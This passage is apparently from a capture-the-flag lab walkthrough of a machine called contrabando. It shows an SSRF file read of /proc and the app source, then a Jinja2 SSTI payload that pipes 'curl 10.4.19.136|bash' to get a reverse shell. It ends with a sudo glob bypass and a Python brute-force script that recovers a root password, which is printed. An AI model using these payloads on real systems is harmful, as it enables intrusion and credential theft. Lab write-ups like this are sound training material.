man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
hansolo:x:1000:1000::/home/hansolo:/bin/bash

    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;www-data@124a042cc76c:/var/www/html$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;we have user :  &lt;code&gt;hansolo&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Inspecting &lt;code&gt;/proc/self/status&lt;/code&gt; reveals that the application process is running under the hansolo user account. This confirms the current privilege level within the container.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -d &apos;website_url=file:///proc/self/status&apos; http://172.18.0.1:5000/ 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;www-data@124a042cc76c:/var/www/html$ curl -s -d &apos;website_url=file:///proc/self/status&apos; http://172.18.0.1:5000/ 

        &amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;Website Display&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;h1&amp;gt;Fetch Website Content&amp;lt;/h1&amp;gt;
    &amp;lt;h2&amp;gt;Currently in Development&amp;lt;/h2&amp;gt;
    &amp;lt;form method=&quot;POST&quot;&amp;gt;
        &amp;lt;label for=&quot;website_url&quot;&amp;gt;Enter Website URL:&amp;lt;/label&amp;gt;
        &amp;lt;input type=&quot;text&quot; name=&quot;website_url&quot; id=&quot;website_url&quot; required&amp;gt;
        &amp;lt;button type=&quot;submit&quot;&amp;gt;Fetch Website&amp;lt;/button&amp;gt;
    &amp;lt;/form&amp;gt;
    &amp;lt;div&amp;gt;
        Name:   python3
Umask:  0002
State:  S (sleeping)
Tgid:   726
Ngid:   0
Pid:    726
PPid:   725
TracerPid:      0
Uid:    1000    1000    1000    1000
Gid:    1000    1000    1000    1000
FDSize: 64
Groups: 1000 
NStgid: 726
NSpid:  726
NSpgid: 725
NSsid:  725
VmPeak:   189028 kB
VmSize:   124112 kB
VmLck:         0 kB
VmPin:         0 kB
VmHWM:     36440 kB
VmRSS:     36436 kB
RssAnon:           20856 kB
RssFile:           15580 kB
RssShmem:              0 kB
VmData:    38372 kB
VmStk:       132 kB
VmExe:      2644 kB
VmLib:     12288 kB
VmPTE:       144 kB
VmSwap:        0 kB
HugetlbPages:          0 kB
CoreDumping:    0
THP_enabled:    1
Threads:        2
SigQ:   0/15197
SigPnd: 0000000000000000
ShdPnd: 0000000000000000
SigBlk: 0000000000000000
SigIgn: 0000000001001000
SigCgt: 0000000180000002
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 000001ffffffffff
CapAmb: 0000000000000000
NoNewPrivs:     0
Seccomp:        0
Seccomp_filters:        0
Speculation_Store_Bypass:       vulnerable
SpeculationIndirectBranch:      always enabled
Cpus_allowed:   3
Cpus_allowed_list:      0-1
Mems_allowed:   00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001
Mems_allowed_list:      0
voluntary_ctxt_switches:        6378
nonvoluntary_ctxt_switches:     55

    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;www-data@124a042cc76c:/var/www/html$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After initial attempts to access sensitive files like SSH keys prove unfruitful, the next step is to analyze the application’s source code to understand its functionality. The executable path can be retrieved from &lt;code&gt;/proc/self/cmdline&lt;/code&gt;, providing a starting point for source code enumeration.&lt;/p&gt;
&lt;h3&gt;Clear Diagram&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;          ┌───────────────────────┐
          │  Web App /gen.php     │
          │  running inside       │
          │  container            │
          └─────────┬─────────────┘
                    │
         Sends a request with:
         website_url=file:///proc/self/status
                    │
                    ▼
          ┌───────────────────────┐
          │ Linux Kernel exposes  │
          │ process info under    │
          │ /proc/self/           │
          └─────────┬─────────────┘
                    │
   /proc/self/status contains:
   ┌─────────────────────────────┐
   │ Name:   python3              │
   │ State:  S (sleeping)         │
   │ Pid:    726                  │
   │ PPid:   725                  │
   │ Uid:    1000    1000 1000 1000 │  ← Key info
   │ Gid:    1000    1000 1000 1000 │
   └─────────────────────────────┘
                    │
   Kernel returns content to web app
                    │
                    ▼
          ┌───────────────────────┐
          │ Output displayed by  │
          │ web app to attacker  │
          └─────────┬─────────────┘
                    │
     Attacker reads the **Uid** value:
       1000 → maps to user `hansolo` in /etc/passwd
                    │
                    ▼
           ┌─────────────────────┐
           │ Attacker now knows  │
           │ the process runs as │
           │ user hansolo        │
           └─────────────────────┘

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;www-data@124a042cc76c:/var/www/html$ curl -s -d &apos;website_url=file:///proc/self/cmdline&apos; http://172.18.0.1:5000/ -o-


        &amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;Website Display&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;h1&amp;gt;Fetch Website Content&amp;lt;/h1&amp;gt;
    &amp;lt;h2&amp;gt;Currently in Development&amp;lt;/h2&amp;gt;
    &amp;lt;form method=&quot;POST&quot;&amp;gt;
        &amp;lt;label for=&quot;website_url&quot;&amp;gt;Enter Website URL:&amp;lt;/label&amp;gt;
        &amp;lt;input type=&quot;text&quot; name=&quot;website_url&quot; id=&quot;website_url&quot; required&amp;gt;
        &amp;lt;button type=&quot;submit&quot;&amp;gt;Fetch Website&amp;lt;/button&amp;gt;
    &amp;lt;/form&amp;gt;
    &amp;lt;div&amp;gt;
        /usr/bin/python3/home/hansolo/app/app.py
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;www-data@124a042cc76c:/var/www/html$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, lets read  &lt;code&gt;/home/hansolo/app/app.py&lt;/code&gt; source code.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@124a042cc76c:/var/www/html$ curl -s -d &apos;website_url=file:///home/hansolo/app/app.py&apos; http://172.18.0.1:5000/

        &amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;Website Display&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;h1&amp;gt;Fetch Website Content&amp;lt;/h1&amp;gt;
    &amp;lt;h2&amp;gt;Currently in Development&amp;lt;/h2&amp;gt;
    &amp;lt;form method=&quot;POST&quot;&amp;gt;
        &amp;lt;label for=&quot;website_url&quot;&amp;gt;Enter Website URL:&amp;lt;/label&amp;gt;
        &amp;lt;input type=&quot;text&quot; name=&quot;website_url&quot; id=&quot;website_url&quot; required&amp;gt;
        &amp;lt;button type=&quot;submit&quot;&amp;gt;Fetch Website&amp;lt;/button&amp;gt;
    &amp;lt;/form&amp;gt;
    &amp;lt;div&amp;gt;
        from flask import Flask, render_template, render_template_string, request
import pycurl
from io import BytesIO

app = Flask(__name__)

@app.route(&apos;/&apos;, methods=[&apos;GET&apos;, &apos;POST&apos;])
def display_website():
    if request.method == &apos;POST&apos;:
        website_url = request.form[&apos;website_url&apos;]

        # Use pycurl to fetch the content of the website
        buffer = BytesIO()
        c = pycurl.Curl()
        c.setopt(c.URL, website_url)
        c.setopt(c.WRITEDATA, buffer)
        c.perform()
        c.close()

        # Extract the content and convert it to a string
        content = buffer.getvalue().decode(&apos;utf-8&apos;)
        buffer.close()
        website_content = &apos;&apos;&apos;
        &amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;Website Display&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;h1&amp;gt;Fetch Website Content&amp;lt;/h1&amp;gt;
    &amp;lt;h2&amp;gt;Currently in Development&amp;lt;/h2&amp;gt;
    &amp;lt;form method=&quot;POST&quot;&amp;gt;
        &amp;lt;label for=&quot;website_url&quot;&amp;gt;Enter Website URL:&amp;lt;/label&amp;gt;
        &amp;lt;input type=&quot;text&quot; name=&quot;website_url&quot; id=&quot;website_url&quot; required&amp;gt;
        &amp;lt;button type=&quot;submit&quot;&amp;gt;Fetch Website&amp;lt;/button&amp;gt;
    &amp;lt;/form&amp;gt;
    &amp;lt;div&amp;gt;
        %s
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&apos;&apos;&apos;%content

        return render_template_string(website_content)

    return render_template(&apos;index.html&apos;)

if __name__ == &apos;__main__&apos;:
    app.run(host=&quot;0.0.0.0&quot;,debug=False)

    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;www-data@124a042cc76c:/var/www/html$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;
# /home/hansolo/app/app.py

from flask import Flask, render_template, render_template_string, request
import pycurl
from io import BytesIO

app = Flask(__name__)

@app.route(&apos;/&apos;, methods=[&apos;GET&apos;, &apos;POST&apos;])
def display_website():
    if request.method == &apos;POST&apos;:
        website_url = request.form[&apos;website_url&apos;]

        # Use pycurl to fetch the content of the website
        buffer = BytesIO()
        c = pycurl.Curl()
        c.setopt(c.URL, website_url)
        c.setopt(c.WRITEDATA, buffer)
        c.perform()
        c.close()

        # Extract the content and convert it to a string
        content = buffer.getvalue().decode(&apos;utf-8&apos;)
        buffer.close()
        website_content = &apos;&apos;&apos;
        &amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;Website Display&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;h1&amp;gt;Fetch Website Content&amp;lt;/h1&amp;gt;
    &amp;lt;h2&amp;gt;Currently in Development&amp;lt;/h2&amp;gt;
    &amp;lt;form method=&quot;POST&quot;&amp;gt;
        &amp;lt;label for=&quot;website_url&quot;&amp;gt;Enter Website URL:&amp;lt;/label&amp;gt;
        &amp;lt;input type=&quot;text&quot; name=&quot;website_url&quot; id=&quot;website_url&quot; required&amp;gt;
        &amp;lt;button type=&quot;submit&quot;&amp;gt;Fetch Website&amp;lt;/button&amp;gt;
    &amp;lt;/form&amp;gt;
    &amp;lt;div&amp;gt;
        %s
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&apos;&apos;&apos;%content

        return render_template_string(website_content)

    return render_template(&apos;index.html&apos;)

if __name__ == &apos;__main__&apos;:
    app.run(host=&quot;0.0.0.0&quot;,debug=False)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Server-Side Template Injection (SSTI)&lt;/h2&gt;
&lt;p&gt;Analysis of the source code reveals a simple Flask application. On a &lt;code&gt;POST&lt;/code&gt; request:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The application retrieves a URL from the &lt;code&gt;website_url&lt;/code&gt; parameter.&lt;/li&gt;
&lt;li&gt;It fetches the content of that URL using &lt;code&gt;PycURL&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The fetched content is assigned to &lt;code&gt;website_content&lt;/code&gt; and passed directly to &lt;code&gt;render_template_string&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;Vulnerability:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;User-controlled URLs allow an attacker to inject arbitrary content into &lt;code&gt;website_content&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Because this content is processed by Jinja2 through &lt;code&gt;render_template_string&lt;/code&gt;, an attacker can achieve Server-Side Template Injection (&lt;code&gt;SSTI&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Illustrative Example:&lt;/h4&gt;
&lt;p&gt;If an attacker hosts a file containing a malicious Jinja2 template, submitting its URL via the &lt;code&gt;website_url&lt;/code&gt; parameter would cause the template to be rendered on the server, executing arbitrary template code.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop]
└─$ cat template 
{{ self.__init__.__globals__.__builtins__.__import__(&apos;os&apos;).popen(&apos;curl 10.4.19.136|bash&apos;).read() }}
                                                                                                                    
┌──(kali㉿kali)-[~/Desktop]
└─$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When we make the site fetch it, the response would be a template that would be formatted into the HTML code present in the application code and would get passed to &lt;code&gt;render_template_string&lt;/code&gt; and executed.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@124a042cc76c:/var/www/html$ curl -s -d &apos;website_url=http://10.4.19.136/template&apos;  http://172.18.0.1:5000/

        &amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;Website Display&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;h1&amp;gt;Fetch Website Content&amp;lt;/h1&amp;gt;
    &amp;lt;h2&amp;gt;Currently in Development&amp;lt;/h2&amp;gt;
    &amp;lt;form method=&quot;POST&quot;&amp;gt;
        &amp;lt;label for=&quot;website_url&quot;&amp;gt;Enter Website URL:&amp;lt;/label&amp;gt;
        &amp;lt;input type=&quot;text&quot; name=&quot;website_url&quot; id=&quot;website_url&quot; required&amp;gt;
        &amp;lt;button type=&quot;submit&quot;&amp;gt;Fetch Website&amp;lt;/button&amp;gt;
    &amp;lt;/form&amp;gt;
    &amp;lt;div&amp;gt;
        

    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;www-data@124a042cc76c:/var/www/html$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;image-16.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;now lets turn on listener and execute the same cmd &lt;code&gt;curl -s -d &apos;website_url=http://10.4.19.136/template&apos;  http://172.18.0.1:5000/&lt;/code&gt;, we obtain a shell as the hansolo user and can read the first flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-17.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop]
└─$ nc -lvnp 443                
listening on [any] 443 ...
connect to [10.4.19.136] from (UNKNOWN) [10.201.92.207] 54278
bash: cannot set terminal process group (725): Inappropriate ioctl for device
bash: no job control in this shell
hansolo@contrabando:~$ python3 -c &apos;import pty;pty.spawn(&quot;/bin/bash&quot;);&apos;
python3 -c &apos;import pty;pty.spawn(&quot;/bin/bash&quot;);&apos;
hansolo@contrabando:~$ export TERM=xterm
export TERM=xterm
hansolo@contrabando:~$ ^Z
zsh: suspended  nc -lvnp 443
                                                                                                                    
┌──(kali㉿kali)-[~/Desktop]
└─$ stty raw -echo; fg
[1]  + continued  nc -lvnp 443

hansolo@contrabando:~$ ls
app  hansolo_userflag.txt
hansolo@contrabando:~$ cat hansolo_userflag.txt
THM{Th3_BeST_xxxx_xxx_xxxxxxx
hansolo@contrabando:~$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Shell as root – Sudo Privileges&lt;/h2&gt;
&lt;p&gt;Examining the sudo capabilities for the &lt;code&gt;hansolo&lt;/code&gt; user reveals two commands executable as root without providing the user’s password:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hansolo@contrabando:~$ sudo -l
Matching Defaults entries for hansolo on contrabando:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hansolo may run the following commands on contrabando:
    (root) NOPASSWD: /usr/bin/bash /usr/bin/vault
    (root) /usr/bin/python* /opt/generator/app.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;image-18.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;/usr/bin/bash /usr/bin/vault&lt;/code&gt; – can be executed directly as root.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;/usr/bin/python* /opt/generator/app.py&lt;/code&gt; – requires knowledge of the hansolo user password to run as root.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Brute-Forcing the Password&lt;/h2&gt;
&lt;p&gt;To execute the second root-level command (&lt;code&gt;/usr/bin/python*&lt;/code&gt; &lt;code&gt;/opt/generator/app.py&lt;/code&gt;), the hansolo user password is required. Before attempting brute force, we first examine the &lt;code&gt;/usr/bin/vault&lt;/code&gt; script, which can be executed as root without a password, to identify potential hints or mechanisms that could reveal or assist in obtaining the password.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hansolo@contrabando:~$ cat /usr/bin/vault
#!/bin/bash

check () {
        if [ ! -e &quot;$file_to_check&quot; ]; then
            /usr/bin/echo &quot;File does not exist.&quot;
            exit 1
        fi
        compare
}


compare () {
        content=$(/usr/bin/cat &quot;$file_to_check&quot;)

        read -s -p &quot;Enter the required input: &quot; user_input

        if [[ $content == $user_input ]]; then
            /usr/bin/echo &quot;&quot;
            /usr/bin/echo &quot;Password matched!&quot;
            /usr/bin/cat &quot;$file_to_print&quot;
        else
            /usr/bin/echo &quot;Password does not match!&quot;
        fi
}

file_to_check=&quot;/root/password&quot;
file_to_print=&quot;/root/secrets&quot;

check
hansolo@contrabando:~$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;!-- Load AdSense --&amp;gt;
&amp;lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-6730116050408303&quot; crossorigin=&quot;anonymous&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- Display Ad --&amp;gt;
&amp;lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-6730116050408303&quot;
crossorigin=&quot;anonymous&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;!-- amazon --&amp;gt;
&amp;lt;ins class=&quot;adsbygoogle&quot;
style=&quot;display:block&quot;
data-ad-client=&quot;ca-pub-6730116050408303&quot;
data-ad-slot=&quot;6226039483&quot;
data-ad-format=&quot;auto&quot;
data-full-width-responsive=&quot;true&quot;&amp;gt;&amp;lt;/ins&amp;gt;
&amp;lt;script&amp;gt;
(adsbygoogle = window.adsbygoogle || []).push({});
&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;we have &lt;code&gt;/usr/bin/vault&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;# /usr/bin/vault
#!/bin/bash

check () {
        if [ ! -e &quot;$file_to_check&quot; ]; then
            /usr/bin/echo &quot;File does not exist.&quot;
            exit 1
        fi
        compare
}


compare () {
        content=$(/usr/bin/cat &quot;$file_to_check&quot;)

        read -s -p &quot;Enter the required input: &quot; user_input

        if [[ $content == $user_input ]]; then
            /usr/bin/echo &quot;&quot;
            /usr/bin/echo &quot;Password matched!&quot;
            /usr/bin/cat &quot;$file_to_print&quot;
        else
            /usr/bin/echo &quot;Password does not match!&quot;
        fi
}

file_to_check=&quot;/root/password&quot;
file_to_print=&quot;/root/secrets&quot;

check
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Looking at the script, we can see a vulnerability in the &lt;code&gt;if [[ $content == $user_input ]];&lt;/code&gt; then line, as the &lt;code&gt;$user_input&lt;/code&gt; parameter which is read from the user is not quoted. This allows us to use glob matching in the comparison as such:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ user_input=&quot;*&quot;; if [[ &quot;password&quot; == &quot;$user_input&quot; ]]; then echo &quot;TRUE&quot;; else echo &quot;FALSE&quot;; fi
FALSE

$ user_input=&quot;*&quot;; if [[ &quot;password&quot; == $user_input ]]; then echo &quot;TRUE&quot;; else echo &quot;FALSE&quot;; fi
TRUE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Exploiting this by entering &lt;code&gt;*&lt;/code&gt; as our input, we are able to bypass the check and access the contents of &lt;code&gt;/root/secrets&lt;/code&gt;, though it provides no useful information.&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- Load AdSense --&amp;gt;
&amp;lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-6730116050408303&quot; crossorigin=&quot;anonymous&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- Display Ad --&amp;gt;
&amp;lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-6730116050408303&quot;
crossorigin=&quot;anonymous&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;!-- amazon --&amp;gt;
&amp;lt;ins class=&quot;adsbygoogle&quot;
style=&quot;display:block&quot;
data-ad-client=&quot;ca-pub-6730116050408303&quot;
data-ad-slot=&quot;6226039483&quot;
data-ad-format=&quot;auto&quot;
data-full-width-responsive=&quot;true&quot;&amp;gt;&amp;lt;/ins&amp;gt;
&amp;lt;script&amp;gt;
(adsbygoogle = window.adsbygoogle || []).push({});
&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hansolo@contrabando:~$ sudo /usr/bin/bash /usr/bin/vault
Enter the required input: *
Password matched!
1. Lightsaber Colors: Lightsabers in Star Wars can come in various colors, and the color often signifies the Jedi&apos;s role or affiliation. For example, blue and green lightsabers are commonly associated with Jedi Knights, while red lightsabers are typically used by Sith. However, there are exceptions, and the color can also represent other factors.

2. Darth Vader&apos;s Breathing: The iconic sound of Darth Vader&apos;s breathing was created by sound designer Ben Burtt. He achieved this effect by recording himself breathing through a scuba regulator. The sound became one of the most recognizable and menacing elements of the character.

3. Ewok Language: The Ewoks, the small furry creatures from the forest moon of Endor in &quot;Return of the Jedi,&quot; speak a language called Ewokese. The language is a combination of various Tibetan, Nepalese, and Kalmyk phrases, as well as some manipulated dialogue from the Quechua language.

4. Han Solo&apos;s Carbonite Freeze: In &quot;Star Wars: Episode V - The Empire Strikes Back,&quot; Han Solo is frozen in carbonite. The famous line, &quot;I love you,&quot; &quot;I know,&quot; was actually improvised by Harrison Ford. The original script had Han responding with &quot;I love you too,&quot; but Ford felt that Han&apos;s character wouldn&apos;t say that, so he ad-libbed the now-famous line.

5. Yoda&apos;s Species and Name: Yoda&apos;s species and homeworld are never revealed in the Star Wars films, and George Lucas has been adamant about keeping this information a mystery. Additionally, the name &quot;Yoda&quot; was chosen simply because George Lucas liked the sound of it.
hansolo@contrabando:~$ 

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Rather than merely bypassing the check, the script’s glob pattern matching can be leveraged to brute-force the value of the $content parameter, which is read from /root/password. By iterating over possible characters, prepending each to a wildcard (&lt;code&gt;*&lt;/code&gt;), and observing the script’s behavior, it is possible to progressively reconstruct the password.&lt;/p&gt;
&lt;p&gt;example :&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for char in charset:
    test_pattern = char + &apos;*&apos;
    run vault script with $content = test_pattern
    if script behaves as expected:
        append char to known_password
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ user_input=&quot;a*&quot;; if [[ &quot;password&quot; == $user_input ]]; then echo &quot;TRUE&quot;; else echo &quot;FALSE&quot;; fi
FALSE
...

$ user_input=&quot;p*&quot;; if [[ &quot;password&quot; == $user_input ]]; then echo &quot;TRUE&quot;; else echo &quot;FALSE&quot;; fi
TRUE
...

$ user_input=&quot;pab*&quot;; if [[ &quot;password&quot; == $user_input ]]; then echo &quot;TRUE&quot;; else echo &quot;FALSE&quot;; fi
FALSE
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can automate this process with a Python script that loops through all characters prepended to &lt;code&gt;*&lt;/code&gt; and checks if the output from the script includes &lt;code&gt;Password matched!&lt;/code&gt;. If it does, we know we have discovered a character from the beginning of the password and can move on to the next character.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-19.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- Load AdSense --&amp;gt;
&amp;lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-6730116050408303&quot; crossorigin=&quot;anonymous&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- Display Ad --&amp;gt;
&amp;lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-6730116050408303&quot;
crossorigin=&quot;anonymous&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;!-- amazon --&amp;gt;
&amp;lt;ins class=&quot;adsbygoogle&quot;
style=&quot;display:block&quot;
data-ad-client=&quot;ca-pub-6730116050408303&quot;
data-ad-slot=&quot;6226039483&quot;
data-ad-format=&quot;auto&quot;
data-full-width-responsive=&quot;true&quot;&amp;gt;&amp;lt;/ins&amp;gt;
&amp;lt;script&amp;gt;
(adsbygoogle = window.adsbygoogle || []).push({});
&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hansolo@contrabando:~$ nano password_find.py
hansolo@contrabando:~$ cat password_find.py
import subprocess
import string

charset = string.ascii_letters + string.digits
password = &quot;&quot;

while True:
    found = False
    for char in charset:
        attempt = password + char + &quot;*&quot;
        print(f&quot;\r[+] Password: {password+char}&quot;, end=&quot;&quot;)
        proc = subprocess.Popen(
            [&quot;sudo&quot;, &quot;/usr/bin/bash&quot;, &quot;/usr/bin/vault&quot;],
            stdin=subprocess.PIPE,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )
        stdout, stderr = proc.communicate(input=attempt + &quot;\n&quot;)
        if &quot;Password matched!&quot; in stdout:
            password += char
            found = True
            break
    if not found:
        break

print(f&quot;\r[+] Final Password: {password}&quot;)
hansolo@contrabando:~$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;script&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;# password_find.py
import subprocess
import string

charset = string.ascii_letters + string.digits
password = &quot;&quot;

while True:
    found = False
    for char in charset:
        attempt = password + char + &quot;*&quot;
        print(f&quot;\r[+] Password: {password+char}&quot;, end=&quot;&quot;)
        proc = subprocess.Popen(
            [&quot;sudo&quot;, &quot;/usr/bin/bash&quot;, &quot;/usr/bin/vault&quot;],
            stdin=subprocess.PIPE,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )
        stdout, stderr = proc.communicate(input=attempt + &quot;\n&quot;)
        if &quot;Password matched!&quot; in stdout:
            password += char
            found = True
            break
    if not found:
        break

print(f&quot;\r[+] Final Password: {password}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;hansolo@contrabando:~$ python3 password_find.py
[+] Final Password: EQu5ehwHcRfZ
hansolo@contrabando:~$ 
&lt;/code&gt;&lt;/pre&gt;
